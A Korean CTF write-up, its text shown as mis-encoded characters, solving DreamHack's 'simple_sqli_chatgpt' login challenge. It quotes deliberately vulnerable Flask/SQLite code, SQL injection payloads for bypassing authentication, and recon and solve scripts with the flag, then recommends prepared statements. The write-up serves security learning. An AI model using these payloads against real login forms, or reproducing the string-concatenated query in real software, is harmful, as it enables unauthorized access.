[๐Ÿฅ‰ Bronze 2] ์นธ ํ•˜๋‚˜์งœ๋ฆฌ ๋กœ๊ทธ์ธ ํผ์œผ๋กœ admin ํ–‰๋งŒ ์ฝ• โ€” DreamHack simple_sqli_chatgpt ํ’€์ด

2026-06-27ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] ์นธ ํ•˜๋‚˜์งœ๋ฆฌ ๋กœ๊ทธ์ธ ํผ์œผ๋กœ admin ํ–‰๋งŒ ์ฝ• โ€” DreamHack simple_sqli_chatgpt ํ’€์ด

๋กœ๊ทธ์ธ ํผ์— ์ž…๋ ฅ์นธ์ด userlevel ํ•˜๋‚˜๋ฟ์ธ๋ฐ, ๊ทธ ๊ฐ’์ด ๋”ฐ์˜ดํ‘œ์งธ ์ฟผ๋ฆฌ์— ๋ฐ•ํžŒ๋‹ค. guest์™€ admin ๋‘˜ ๋‹ค userlevel์ด 0์ด๋ผ ํ”ํ•œ or 1=1์€ ์ฒซ ํ–‰ guest๋ฅผ ๋ฐ๋ ค์˜จ๋‹ค. userid๋ฅผ ์ง์ ‘ ์ง€์ •ํ•ด admin ํ–‰๋งŒ ๋‚จ๊ธด ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” simple_sqli_chatgpt ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{chatGPT_told_me_a_lullaby}


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…simple_sqli_chatgpt
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Web (Flask + SQLite)
์ œ๊ณต ํŒŒ์ผ / ์„œ๋ฒ„app.py / http://host3.dreamhack.games:<port>/ (์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ๋ณ€๊ฒฝ)
ํ•ต์‹ฌ ์ทจ์•ฝ์  / ๊ธฐ๋ฒ•userlevel ๋ฌธ์ž์—ด ์ฃผ์ž… โ†’ admin ํ–‰๋งŒ ๋ฐ˜ํ™˜์‹œ์ผœ ์ธ์ฆ ์šฐํšŒ

์ด๋ฆ„ ๊ทธ๋Œ€๋กœ simple_sqli์˜ ๋ณ€์ข…์ด๋‹ค. ์›๋ณธ์€ userid/userpassword ๋‘ ์นธ์„ ์ฃผ์ž…์ ์œผ๋กœ ์“ฐ๋Š”๋ฐ, ์ด ๋ฌธ์ œ๋Š” ๋กœ๊ทธ์ธ ํผ์— ์ž…๋ ฅ์นธ์ด userlevel ๋”ฑ ํ•˜๋‚˜๋‹ค. ๋ฌธ์ œ ์ด๋ฆ„์˜ chatgpt๋Š” "AIํ•œํ…Œ ์‹œ์ผœ ์ง  ๋กœ๊ทธ์ธ ์ฝ”๋“œ"๋ผ๋Š” ๋†๋‹ด ๊ฐ™์€๋ฐ, ๊ฒฐ๊ตญ ์ž…๋ ฅ์„ ์ฟผ๋ฆฌ์— ๊ทธ๋Œ€๋กœ ์ด์–ด ๋ถ™์ด๋Š” ๊ณ ์ „์ ์ธ ์‹ค์ˆ˜๊ฐ€ ๊ทธ๋Œ€๋กœ ๋‚จ์•„ ์žˆ๋‹ค.

ํ™”๋ฉด์€ ์›๋ณธ simple_sqli์™€ ๋˜‘๊ฐ™์ด ๋‹จ์ถœํ•˜๋‹ค. ๋กœ๊ทธ์ธ ๋งํฌ ํ•˜๋‚˜๋ฟ.

๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ๋กœ๊ทธ์ธ ๋งํฌ ํ•˜๋‚˜๋ฟ์ธ ๋‹จ์ถœํ•œ ํ™”๋ฉด
๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” ๋กœ๊ทธ์ธ ๋งํฌ ํ•˜๋‚˜๋ฟ์ธ ๋‹จ์ถœํ•œ ํ™”๋ฉด



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์ž…๋ ฅ์นธ ํ•˜๋‚˜๊ฐ€ ์ฟผ๋ฆฌ๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐฉ์‹

์„œ๋ฒ„๋Š” Flask + ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ sqlite3๋‹ค. ์ฒซ ์‹คํ–‰ ๋•Œ users ํ…Œ์ด๋ธ”์„ ๋งŒ๋“ค๊ณ  ๊ณ„์ • ๋‘˜์„ ๋„ฃ๋Š”๋‹ค. ์›๋ณธ๊ณผ ๋‹ฌ๋ฆฌ ์ปฌ๋Ÿผ์ด ์…‹์ด๋‹ค โ€” userid, userpassword, ๊ทธ๋ฆฌ๊ณ  userlevel.

db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values '
           f'("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')

์—ฌ๊ธฐ์„œ ๋ˆˆ์—ฌ๊ฒจ๋ณผ ๊ฑด ๋‘ ๊ณ„์ •์˜ userlevel์ด ๋ชจ๋‘ 0์ด๋ผ๋Š” ์ ์ด๋‹ค. admin์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” os.urandom(16)์„ hex๋กœ ์ฐ์€ 32์ž๋ผ ๋งค ์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ์ƒˆ๋กœ ๋ฝ‘ํžˆ๊ณ  ์–ด๋””์—๋„ ๋…ธ์ถœ๋˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋“ค์–ด๊ฐ€๋Š” ๊ธธ์€ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋‹ซํ˜€ ์žˆ๋‹ค.

๋กœ๊ทธ์ธ ๋ผ์šฐํŠธ๋Š” ํผ์—์„œ ๋ฐ›์€ userlevel์„ ๊ฒ€์ฆ ์—†์ด ์ฟผ๋ฆฌ์— ๋ผ์›Œ ๋„ฃ๋Š”๋‹ค.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userlevel = request.form.get('userlevel')
        res = query_db(f"select * from users where userlevel='{userlevel}'")
        if res:
            userid = res[0]
            userlevel = res[2]
            if userid == 'admin' and userlevel == 0:
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

f"...userlevel='{userlevel}'" โ€” ์ž‘์€๋”ฐ์˜ดํ‘œ ์‚ฌ์ด์— ์ž…๋ ฅ์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ„๋‹ค. ์ด์Šค์ผ€์ดํ”„๊ฐ€ ์—†์œผ๋‹ˆ ' ํ•œ ๊ธ€์ž๋กœ ๋ฌธ์ž์—ด์„ ๋‹ซ๊ณ  SQL์„ ์ด์–ด ์“ธ ์ˆ˜ ์žˆ๋‹ค.

ํ”Œ๋ž˜๊ทธ ์กฐ๊ฑด์€ ๋‘ ๊ฐœ๊ฐ€ ๋™์‹œ์— ์ฐธ์ด์–ด์•ผ ํ•œ๋‹ค.

  • res[0] == 'admin' โ€” ๋ฐ˜ํ™˜๋œ ํ–‰์˜ ์ฒซ ์ปฌ๋Ÿผ(userid)์ด admin
  • res[2] == 0 โ€” ์…‹์งธ ์ปฌ๋Ÿผ(userlevel)์ด 0

admin์˜ userlevel์ด ์–ด์ฐจํ”ผ 0์ด๋‹ˆ, admin ํ–‰๋งŒ ๋ฐ˜ํ™˜์‹œํ‚ค๋ฉด ๋‘ ์กฐ๊ฑด์ด ํ•œ ๋ฒˆ์— ์ถฉ์กฑ๋œ๋‹ค. ๊ฒฐ๊ตญ ์ด ๋ฌธ์ œ๋Š” "admin ํ–‰์„ ์ •ํ™•ํžˆ ๊ณจ๋ผ๋‚ด๋Š” ๊ฒƒ"์œผ๋กœ ์••์ถ•๋œ๋‹ค.

์—ฌ๊ธฐ์„œ query_db์˜ ๋™์ž‘์ด ์ค‘์š”ํ•˜๋‹ค.

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

one=True๊ฐ€ ๊ธฐ๋ณธ์ด๋ผ fetchall() ๊ฒฐ๊ณผ ์ค‘ ์ฒซ ํ–‰(rv[0])๋งŒ ๋Œ๋ ค์ค€๋‹ค. ์—ฌ๋Ÿฌ ํ–‰์ด ๋งค์น˜๋ผ๋„ ์ฒซ ํ–‰ ํ•˜๋‚˜๋กœ ์ž˜๋ฆฐ๋‹ค โ€” ์ด๊ฒŒ ํ•จ์ •์˜ ์”จ์•—์ด๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” ์ง์ ‘ ์ฐ”๋Ÿฌ๋ณด๊ธฐ

๋กœ๊ทธ์ธ ํผ๋ถ€ํ„ฐ ๋ดค๋‹ค. userlevel ํ•œ ์นธ์ด ์ „๋ถ€๋‹ค. placeholder๊นŒ์ง€ userlevel์ด๋ผ ์ ํ˜€ ์žˆ๋‹ค.

๋กœ๊ทธ์ธ ํผ โ€” ์ž…๋ ฅ์นธ์€ userlevel ํ•˜๋‚˜๋ฟ
๋กœ๊ทธ์ธ ํผ โ€” ์ž…๋ ฅ์นธ์€ userlevel ํ•˜๋‚˜๋ฟ

ํผ๋งŒ ๋ณด๋ฉด ๊ถŒํ•œ ๋“ฑ๊ธ‰ ๊ฐ™์€ ์ˆซ์ž๋ฅผ ๊ธฐ๋Œ€ํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ์ƒ๊ฒผ๋‹ค. ๊ทธ๋ž˜์„œ ํ‰๋ฒ”ํ•˜๊ฒŒ 0์„ ๋„ฃ์–ด๋ดค๋‹ค.

ํ‰๋ฒ”ํ•œ ์ž…๋ ฅ โ€” userlevel ์นธ์— 0
ํ‰๋ฒ”ํ•œ ์ž…๋ ฅ โ€” userlevel ์นธ์— 0

์‘๋‹ต์ด ์ž…๋ ฅ์— ๋”ฐ๋ผ ์–ด๋–ป๊ฒŒ ๊ฐˆ๋ฆฌ๋Š”์ง€, ์ •์ƒ๊ฐ’ยท์กด์žฌํ•˜์ง€ ์•Š๋Š” ๊ฐ’ยท๋”ฐ์˜ดํ‘œยท์ฃผ์ž…์„ ํ•œ ๋ฒˆ์— ์ฐ”๋Ÿฌ๋ดค๋‹ค.

# recon.py โ€” /login ์ด userlevel ์ž…๋ ฅ์„ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ์ง์ ‘ ์ฐ”๋Ÿฌ๋ณธ๋‹ค.
import requests
 
URL = "http://host3.dreamhack.games:12970/login"
 
def post(userlevel):
    r = requests.post(URL, data={"userlevel": userlevel}, timeout=10)
    return r.status_code, r.text.strip()
 
def label(code, body):
    if "flag is" in body:
        return "admin โ†’ FLAG"
    if 'hello guest' in body:
        return "guest (์ฒซ ํ–‰)"
    if "wrong" in body:
        return "wrong (ํ–‰ ์—†์Œ)"
    return f"HTTP {code} / {body[:40]!r}"
 
for ul in ["0", "1", "'", "' or 1=1-- ", "' or userid='admin'-- "]:
    code, body = post(ul)
    print(f"userlevel={ul!r:26} -> {label(code, body)}")

recon.py ์ถœ๋ ฅ โ€” ์ž…๋ ฅ๋ณ„๋กœ ๋ˆ„๊ฐ€ ์žกํžˆ๋‚˜
recon.py ์ถœ๋ ฅ โ€” ์ž…๋ ฅ๋ณ„๋กœ ๋ˆ„๊ฐ€ ์žกํžˆ๋‚˜

๋‹ค์„ฏ ์ค„์ด ๋‹ค ๋ง์ด ๋œ๋‹ค.

  • 0 โ†’ guest. ๋‘˜ ๋‹ค userlevel 0์ด๋ผ ๋งค์น˜๋˜๋Š”๋ฐ, ์ฒซ ํ–‰ guest๊ฐ€ ์žกํžŒ๋‹ค.

  • 1 โ†’ wrong. userlevel 1์ธ ๊ณ„์ •์€ ์—†์œผ๋‹ˆ ํ–‰์ด ์—†๋‹ค.

  • ' โ†’ HTTP 500. ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๊ฐ€ ๋ฌธ์ž์—ด์„ ๋‹ซ์•„ SQL ๊ตฌ๋ฌธ์ด ๊นจ์กŒ๋‹ค. ์ž…๋ ฅ์ด ์ฟผ๋ฆฌ์— ๋‚ ๊ฒƒ์œผ๋กœ ๋“ค์–ด๊ฐ„๋‹ค๋Š” ํ™•์‹คํ•œ ์‹ ํ˜ธ๋‹ค.

  • ' or 1=1-- โ†’ ์—ฌ๊ธฐ์„œ ๋˜ guest๊ฐ€ ๋‚˜์˜จ๋‹ค(์•„๋ž˜ ์‚ฝ์งˆ ์ฐธ๊ณ ).

  • ' or userid='admin'-- โ†’ ๋“œ๋””์–ด admin โ†’ FLAG.

500 ์—๋Ÿฌ๋กœ ์ฃผ์ž… ๊ฐ€๋Šฅ์„ฑ์„ ํ™•์ธํ–ˆ๊ณ , ๋ชฉํ‘œ๋„ ๋ถ„๋ช…ํ•ด์กŒ๋‹ค. admin ํ–‰ ํ•˜๋‚˜๋งŒ ๋ฐ˜ํ™˜์‹œํ‚ค๋ฉด ๋œ๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” or 1=1์€ ์—ฌ์ „ํžˆ guest๋ฅผ ๋ฐ๋ ค์˜จ๋‹ค

SQLi ์ธ์ฆ ์šฐํšŒ ํ•˜๋ฉด ๋ฐ˜์‚ฌ์ ์œผ๋กœ ' or 1=1 -- ๊ฐ€ ๋– ์˜ค๋ฅธ๋‹ค. ๊ทธ๋ž˜์„œ ๋จผ์ € ๊ทธ๊ฑธ ๋„ฃ์—ˆ๋Š”๋ฐ, ๋Œ์•„์˜จ ๊ฑด admin์ด ์•„๋‹ˆ๋ผ guest์˜€๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” ์™œ or 1=1 ๋กœ๋Š” admin์ด ์•ˆ ์žกํžˆ๋‚˜

์กฐ๋ฆฝ๋˜๋Š” ์ฟผ๋ฆฌ๋Š” ์ด๋ ‡๋‹ค.

select * from users where userlevel='' or 1=1-- '

1=1์ด ํ•ญ์ƒ ์ฐธ์ด๋ผ WHERE ์ „์ฒด๊ฐ€ ์ฐธ์ด ๋˜๊ณ , guest์™€ admin ๋‘ ํ–‰์ด ๋ชจ๋‘ ๋งค์น˜๋œ๋‹ค. fetchall()์€ ์ž…๋ ฅ ์ˆœ์„œ๋Œ€๋กœ [guest, admin]์„ ๋Œ๋ ค์ฃผ๊ณ , query_db๋Š” one=True๋ผ rv[0], ์ฆ‰ ๋จผ์ € ๋“ค์–ด๊ฐ„ guest๋ฅผ ์ง‘๋Š”๋‹ค.

recon ์ถœ๋ ฅ์—์„œ๋„ 0๊ณผ ' or 1=1-- ์ด ๋˜‘๊ฐ™์ด guest (์ฒซ ํ–‰)๋กœ ์ฐํžŒ ๊ฒŒ ์ด ๋•Œ๋ฌธ์ด๋‹ค.

userlevel='0'                        -> guest (์ฒซ ํ–‰)
userlevel="' or 1=1-- "              -> guest (์ฒซ ํ–‰)

๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์‚ฌ๋Š” ์šฐํšŒํ–ˆ์ง€๋งŒ ์ •์ž‘ admin์€ ๋‘ ๋ฒˆ์งธ ํ–‰์ด๋ผ ์ž˜๋ ค๋‚˜๊ฐ„ ์…ˆ์ด๋‹ค. ์ด ๋ฌธ์ œ์˜ ํ•ต์‹ฌ์€ "๋กœ๊ทธ์ธ์„ ๋šซ๋Š”๋‹ค"๊ฐ€ ์•„๋‹ˆ๋ผ "admin ํ–‰์„ ์ •ํ™•ํžˆ ๊ณ ๋ฅธ๋‹ค"์— ์žˆ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด admin์„ ๋ช…์‹œ์ ์œผ๋กœ ์ง€์ •ํ•˜๊ณ  ๋‚˜๋จธ์ง€๋ฅผ ์ง€์šฐ๋Š” ๊ฒŒ ์ œ์ผ ๊น”๋”ํ•˜๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” admin ํ–‰ 'ํ•˜๋‚˜๋งŒ' ๋‚จ๊ธฐ๊ธฐ

userlevel์— ' or userid='admin'-- ๋ฅผ ๋„ฃ๋Š”๋‹ค. ์•ž์˜ '๋กœ userlevel ๋ฌธ์ž์—ด์„ ๋‹ซ๊ณ , or userid='admin'์œผ๋กœ ์กฐ๊ฑด์„ admin์— ๋ชป ๋ฐ•์€ ๋’ค, -- ๋กœ ๋’ค๋”ฐ๋ผ์˜ค๋Š” ๋”ฐ์˜ดํ‘œ๋ฅผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•œ๋‹ค.

์กฐ๋ฆฝ๋œ ์‹ค์ œ ์ฟผ๋ฆฌ๋Š” ์ด๋ ‡๊ฒŒ ๋œ๋‹ค.

select * from users where userlevel='' or userid='admin'-- '

userlevel=''๋Š” ์–ด๋А ํ–‰๋„ ๋งŒ์กฑํ•˜์ง€ ์•Š์œผ๋‹ˆ(๋‘˜ ๋‹ค 0), ์‚ด์•„๋‚จ๋Š” ๊ฑด userid='admin' ํ•˜๋‚˜๋ฟ์ด๋‹ค. admin ํ–‰๋งŒ ๋ฐ˜ํ™˜๋˜๊ณ  res[0]์€ admin, res[2]๋Š” 0 โ€” ๋‘ ์กฐ๊ฑด์ด ๋™์‹œ์— ์ถฉ์กฑ๋œ๋‹ค.

๊ฐ™์€ ์ž…๋ ฅ์ด๋ผ๋„ ์–ด๋””๋ฅผ ๋งค์น˜์‹œํ‚ค๋А๋ƒ์— ๋”ฐ๋ผ ์ฒซ ํ–‰์ด ๊ฐˆ๋ฆฐ๋‹ค. ๊ทธ๋ฆผ์œผ๋กœ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

์ž…๋ ฅ๋ณ„ ๋งค์น˜๋˜๋Š” ํ–‰๊ณผ res[0]์ด ๋ฌด์—‡์ด ๋˜๋Š”์ง€
์ž…๋ ฅ๋ณ„ ๋งค์น˜๋˜๋Š” ํ–‰๊ณผ res[0]์ด ๋ฌด์—‡์ด ๋˜๋Š”์ง€

0๊ณผ or 1=1์€ ๋‘ ํ–‰์„ ๋‹ค ๋Œ์–ด์™€ ์ฒซ ํ–‰ guest๋ฅผ ์ง‘๊ณ , or userid='admin'๋งŒ์ด admin ํ–‰ ํ•˜๋‚˜๋กœ ์ขํ˜€ res[0]์„ admin์œผ๋กœ ๋งŒ๋“ ๋‹ค.


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ํผ์— ๊ทธ๋Œ€๋กœ ๋„ฃ๊ธฐ

ํŠน๋ณ„ํ•œ ๋„๊ตฌ ์—†์ด ๋กœ๊ทธ์ธ ํผ์— ๋ฐ”๋กœ ๋„ฃ์–ด๋„ ๋œ๋‹ค. userlevel ์นธ์— ' or userid='admin'-- ๋ฅผ ๊ทธ๋Œ€๋กœ ์ž…๋ ฅํ•œ๋‹ค.

userlevel ์นธ์— SQLi payload ์ž…๋ ฅ
userlevel ์นธ์— SQLi payload ์ž…๋ ฅ

Login์„ ๋ˆ„๋ฅด๋ฉด admin์œผ๋กœ ์ธ์ฆ๋˜์–ด, ์‘๋‹ต์ด alert ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ํ”Œ๋ž˜๊ทธ ํ‰๋ฌธ์œผ๋กœ ๊ทธ๋Œ€๋กœ ์ฐํžŒ๋‹ค.

hello admin flag is ... โ€” admin ์ธ์ฆ ์šฐํšŒ ์„ฑ๊ณต์œผ๋กœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ‰๋ฌธ ๋…ธ์ถœ
hello admin flag is ... โ€” admin ์ธ์ฆ ์šฐํšŒ ์„ฑ๊ณต์œผ๋กœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ‰๋ฌธ ๋…ธ์ถœ


๐Ÿš€ Full Exploit

ํผ ์ž…๋ ฅ๊ณผ ๋˜‘๊ฐ™์€ ์ผ์„ ์Šคํฌ๋ฆฝํŠธ๋กœ ์˜ฎ๊ธฐ๋ฉด ์ด๋ ‡๋‹ค. ์‘๋‹ต์—์„œ ํ”Œ๋ž˜๊ทธ๋งŒ ๋ฝ‘์•„๋‚ธ๋‹ค.

# solve.py โ€” userlevel SQLi ๋กœ admin ํ–‰๋งŒ ๋ฐ˜ํ™˜์‹œ์ผœ FLAG ํšŒ์ˆ˜
import re
import requests
 
URL = "http://host3.dreamhack.games:12970/login"
 
# userlevel ๋ฌธ์ž์—ด์„ ๋‹ซ๊ณ  admin ํ–‰์„ OR ๋กœ ๋Œ์–ด์˜จ ๋’ค, ๋’ค๋”ฐ๋ฅด๋Š” ๋”ฐ์˜ดํ‘œ๋Š” -- ๋กœ ์ฃผ์„ ์ฒ˜๋ฆฌ
payload = {"userlevel": "' or userid='admin'-- "}
r = requests.post(URL, data=payload, timeout=10)
 
print("[*] payload userlevel =", repr(payload["userlevel"]))
print("[*] response          =", r.text.strip())
 
m = re.search(r"DH\{[^}]+\}", r.text)
print("[+] FLAG              =", m.group(0) if m else "(not found)")

solve.py ์‹คํ–‰ โ€” ์‘๋‹ต์—์„œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ถ”์ถœ
solve.py ์‹คํ–‰ โ€” ์‘๋‹ต์—์„œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ถ”์ถœ

DH{chatGPT_told_me_a_lullaby}


๐Ÿ“ ์ •๋ฆฌ

๋ฌธ์ž์—ด๋กœ ์ฟผ๋ฆฌ๋ฅผ ๋งŒ๋“ค๋ฉด ์ž…๋ ฅ์นธ์ด ํ•˜๋‚˜์—ฌ๋„ ๊ทธ๊ฒŒ ํ†ต์งธ๋กœ ๊ตฌ๋ฉ์ด๋‹ค.

์ด ๋ฌธ์ œ๋Š” ํผ์— userlevel ํ•œ ์นธ๋งŒ ๋‚จ๊ฒจ ์ฃผ์ž…์ ์„ ์ค„์ธ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ๊ทธ ํ•œ ๊ฐ’์ด userlevel='{userlevel}'๋กœ ๋”ฐ์˜ดํ‘œ์งธ ๋ฐ•ํžˆ๋Š” ํ•œ ๊ฒฐ๊ณผ๋Š” ์›๋ณธ simple_sqli์™€ ๋‹ค๋ฅด์ง€ ์•Š๋‹ค. ๋ง‰๋Š” ๋ฐฉ๋ฒ•๋„ ๊ฐ™๋‹ค โ€” Prepared Statement(ํŒŒ๋ผ๋ฏธํ„ฐ ๋ฐ”์ธ๋”ฉ). execute("... where userlevel=?", (userlevel,))๋กœ ๋„˜๊ธฐ๋ฉด ์ž…๋ ฅ์€ ํ•ญ์ƒ ๊ฐ’์œผ๋กœ๋งŒ ์ทจ๊ธ‰๋˜์–ด ๋”ฐ์˜ดํ‘œ๋ฅผ ์•„๋ฌด๋ฆฌ ๋„ฃ์–ด๋„ ๊ตฌ๋ฌธ์ด ๋˜์ง€ ์•Š๋Š”๋‹ค.

์—ฌ๋Ÿฌ ํ–‰์ด ๋งค์น˜๋  ๋•Œ "์ฒซ ํ–‰"์— ๊ถŒํ•œ์„ ๊ฑฐ๋Š” ๊ตฌ์กฐ๋„ ์œ„ํ—˜ํ•˜๋‹ค.

query_db(..., one=True)๊ฐ€ fetchall()[0]๋งŒ ๋Œ๋ ค์ฃผ๋Š” ํƒ“์—, ์กฐ๊ฑด์„ ๋А์Šจํ•˜๊ฒŒ ์ฃผ๋ฉด ์—‰๋šฑํ•˜๊ฒŒ ๋จผ์ € ๋“ค์–ด๊ฐ„ guest๊ฐ€ ์žกํžŒ๋‹ค. ๊ณต๊ฒฉ์ž ์ž…์žฅ์—์„  ์ด๊ฒŒ ์šฐํšŒ๋ฅผ ํ•œ ๋‹จ๊ณ„ ๋” ์š”๊ตฌํ•˜๋Š” ์žฅ์• ๋ฌผ์ผ ๋ฟ์ด๊ณ , ๋ฐฉ์–ด ์ž…์žฅ์—์„œ๋„ "ํ–‰์ด ํ•˜๋‚˜๋ผ๋„ ์žˆ์œผ๋ฉด ํ†ต๊ณผ" ๊ฐ™์€ ํŒ์ •์€ ์˜๋„์น˜ ์•Š์€ ํ–‰์„ ์ธ์ฆ์œผ๋กœ ๋ฐ›์•„๋“ค์ผ ์—ฌ์ง€๋ฅผ ๋‚จ๊ธด๋‹ค.

๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋žœ๋ค์œผ๋กœ ์ˆจ๊ฒจ๋„ ๊ถŒํ•œ ํŒ์ •์ด ์ฟผ๋ฆฌ ํ•œ ๋ฐฉ์— ๋ฌถ์—ฌ ์žˆ์œผ๋ฉด ์†Œ์šฉ์—†๋‹ค.

admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ os.urandom์œผ๋กœ ๊ฐ€๋ฆฐ ๊ฑด ์ข‹์€ ๋ฐœ์ƒ์ด์ง€๋งŒ, ์ธ์ฆ๊ณผ ๊ถŒํ•œ์„ SELECT ํ•œ ์ค„๋กœ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ตฌ์กฐ ์ž์ฒด๊ฐ€ ์•ฝํ•˜๋‹ค. ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ํ•ด์‹œ๋กœ ๊ฒ€์ฆํ•˜๊ณ , ๊ถŒํ•œ์€ ์ธ์ฆ์ด ๋๋‚œ ๋’ค ์„ธ์…˜์—์„œ ๋ณ„๋„๋กœ ๋‹ค๋ฃจ๋Š” ๊ฒŒ ๋งž๋‹ค. simple_sqli๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ •๋‹ต์€ ์ž…๋ ฅ ํ•„ํ„ฐ๊ฐ€ ์•„๋‹ˆ๋ผ, ์ž…๋ ฅ์„ ์ฟผ๋ฆฌ์— ๋ฌธ์ž์—ด๋กœ ์ด์–ด ๋ถ™์ด๋Š” ๊ทธ ํ•œ ์ค„์„ ๋ฐ”์ธ๋”ฉ์œผ๋กœ ๋ฐ”๊พธ๋Š” ๊ฒƒ์ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๋กœ admin ํ–‰๋งŒ ์ฝ• ์ง‘๊ธฐ โ€” DreamHack simple_sqli ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๋กœ admin ํ–‰๋งŒ ์ฝ• ์ง‘๊ธฐ โ€” DreamHack simple_sqli ํ’€์ด

๋กœ๊ทธ์ธ ์ฟผ๋ฆฌ์— userid๊ฐ€ ๋”ฐ์˜ดํ‘œ์งธ ๊ทธ๋Œ€๋กœ ๋ฐ•ํžŒ๋‹ค. admin ํ–‰๋งŒ ์ •ํ™•ํžˆ ๋ฐ˜ํ™˜์‹œ์ผœ์•ผ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜ค๋Š”๋ฐ, ํ”ํ•œ ` or 1=1`์€ ์ฒซ ํ–‰ guest๋ฅผ ๋ฐ๋ ค์˜จ๋‹ค. ์ฃผ์„์œผ๋กœ ํŒจ์Šค์›Œ๋“œ ์กฐ๊ฑด์„ ์ง€์›Œ admin ํ–‰๋งŒ ์ง‘์–ด๋‚ธ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-20#dreamhack +7
[โญโญโญ] SQLi + SSRF ๋”๋ธ” ์Šฌ๋ž˜์‹œ ํ•„ํ„ฐ ์šฐํšŒ โ€” DreamHack admin only ํ’€์ด
blog

[โญโญโญ] SQLi + SSRF ๋”๋ธ” ์Šฌ๋ž˜์‹œ ํ•„ํ„ฐ ์šฐํšŒ โ€” DreamHack admin only ํ’€์ด

SQLite UNION ์ธ์ ์…˜์œผ๋กœ admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํƒˆ์ทจยท๋กœ๊ทธ์ธํ•˜๊ณ , /profile์˜ SSRF๋ฅผ ํ†ตํ•ด //getflag (๋”๋ธ” ์Šฌ๋ž˜์‹œ) ๊ฒฝ๋กœ ์šฐํšŒ๋กœ /getflag ํ•„ํ„ฐ๋ฅผ bypassํ•ด FLAG๋ฅผ ํš๋“ํ•˜๋Š” ํ’€์ด.
#dreamhack#ctf#web+6
2026-04-30#dreamhack +5
[๐Ÿฅ‰ Bronze 3] ์•„๋ฌด๋„ ์—†๋Š” ํ…Œ์ด๋ธ”์ด ๋งŒ๋“  ๋ฌด์กฐ๊ฑด ์ฐธ โ€” DreamHack Logical ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์•„๋ฌด๋„ ์—†๋Š” ํ…Œ์ด๋ธ”์ด ๋งŒ๋“  ๋ฌด์กฐ๊ฑด ์ฐธ โ€” DreamHack Logical ํ’€์ด

